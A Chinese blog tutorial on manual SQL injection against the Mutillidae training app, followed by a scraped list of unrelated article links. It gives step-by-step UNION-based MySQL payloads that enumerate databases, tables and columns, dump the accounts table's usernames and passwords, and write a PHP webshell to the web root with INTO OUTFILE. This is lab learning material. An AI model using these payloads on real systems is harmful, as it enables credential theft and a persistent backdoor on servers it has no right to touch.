博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
手工注入 mutillidae
阅读量:6292 次
发布时间:2019-06-22

本文共 2292 字,大约阅读时间需要 7 分钟。

环境: xampp-win32-5.6.3-0-VC11        Mutillidae-2.6.19

前言

网上能搜到mutillidae 相关的工具注入,但是手工注入的基本没有,好像大神们都已经略过手工注入这一阶段了,没办法,刚进入的新手还是老老实实手工注入。

这里也将搜集到的工具注入记录如下,以后用工具注入会有用的:

准备

mutillidae跟dvwa类似,也有安全级别,所以刚开始做手工注入的时候就将它调至最低吧:

图片描述

然后我们到mutillidae的注入点:

OWASP 2013 --> ”A1 - Injection” —>> ”SQLi - Extract Data” —>> ”User Info”

须知

SQL注入最重要的是寻找注入点,mutillidae 这里面的注入跟别的实际场景不一样,我们知道最常见的是去url上检测注入点。 当然像mutillidae 这样的构造的用户登陆的注入点检测也很多(常用的万能密码测试?)。只是目前自己遇到的还少。

实际操作

寻找注入点

在用户信息界面:单引号检测Name对应表单,结果如下:

图片描述

通过这张图片我们就知道后端数据支撑的数据库类型是mysql了

我们还可以尝试是否能列出所有用户信息: ‘ or 1=1 #

结果我们得到了所有用户信息。(图略)

猜解查询结果集字段

我们使用如下语句:

’ order by 10 #   页面出错 ’ order by 5  #   页面无数据 ’ order by 7  #   页面无数据 ’ order by 8  #   页面出错

所以猜到查询结果集的列数为 7列

猜数据库类型,链接用户,数据库名

先用如下语句得到哪些字段可以用来显示数据:

' and 1=2 union select 1,2,3,4,5,6,7 #

如下图:

图片描述

然后构造语句:

' and 1=2 union select 1,user(),version(),database(),5,6,7 #

然后我们就得到了如下信息

Username=root@localhostPassword=5.6.21Signature=nowasp

如果只有一个字段可以显示信息的,那么我们可以用concat_ws函数方便一次性得到数据

' and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3,4,5,6,7 #

得到的信息如下:

Username=root@localhost : nowasp : 5.6.21Password=3Signature=4

这下知道是mysql5以上的数据库,那么我们就可以直接利用系统库爆出一些信息

获取所有的库名

' and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7 from information_schema.SCHEMATA  #

得到的数据库名如下:

information_schemacdcoldvwamysqlnowaspperformance_schemaphpmyadmintestwebauth

得到的数据库还是蛮多的,放在这儿,作为检测,这些都是可利用的信息,或许以后有用

获取当前链接数据库下的所有表名

' and 1=2 union select 1,TABLE_NAME,3,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=0x6E6F77617370 #

其中0x6E6F77617370是nowasp的十六进制编码

得到的表名如下:

accountsballoon_tipsblogs_tablecaptured_datacredit_cardshelp_textshitloglevel_1_help_include_filespage_helppage_hintspen_test_toolsyoutubevideos

这表也是蛮多的,但是一般我们只需要我们有用的表就行,目前需要的是系统用户信息表,这里看就是accounts表了

获取字段

' and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=0x6163636F756E7473 #

其中0x6163636F756E7473是accounts的16进制编码

得到的字段如下:

cidusernamepasswordmysignatureis_adminfirstnamelastnameUSERCURRENT_CONNECTIONSTOTAL_CONNECTIONS

获取字段值

' and 1=2 union select 1,username,password,mysignature,5,6,7 from accounts#

你会发现这跟之前的万能密码爆出来的东西一样。 这大概就是mysql 5的注入获取数据的过程,

获取websehll

然后你需要找后台,找上传点,上传你的小马。或者试下下面简单快捷方法,写入一句话(需要你有写入权限)

' union select 1,'
',3,4,5,6,7 into outfile 'D:\\xampp\\htdocs\\mutillidae\\coofig.php' #

转载地址:http://jgcta.baihongyu.com/

你可能感兴趣的文章
Android Application中的Context和Activity中的Context的异同
查看>>
MyBatis接口的简单实现原理
查看>>
从0移植uboot (二) _uboot启动流程分析
查看>>
C++异常实现与longjmp, setjmp,栈指针EBP, Active Record
查看>>
Python高级特性(切片,迭代,列表生成式,生成器,迭代器)
查看>>
CISCO知识扫盲
查看>>
[原创]浅谈对华为34岁以上员工“退休”
查看>>
一个hadoop hdfs put 文件失败的小情况
查看>>
C语言 · 计算时间
查看>>
JavaEE开发之Spring中的依赖注入与AOP编程
查看>>
spi flash偶尔出现写入错误的情况
查看>>
Native SBS for Android
查看>>
vue过渡和animate.css结合使用
查看>>
C#编程(七十四)----------释放非托管资源
查看>>
如何在Java 环境下使用 HTTP 协议收发 MQ 消息
查看>>
java-容器-ArrayList
查看>>
集合体系
查看>>
RocketMQ与Kafka对比(18项差异)
查看>>
Android学习--------实现增删改查数据库操作以及实现相似微信好友对话管理操作...
查看>>
兔子--eclipse设置编码格式
查看>>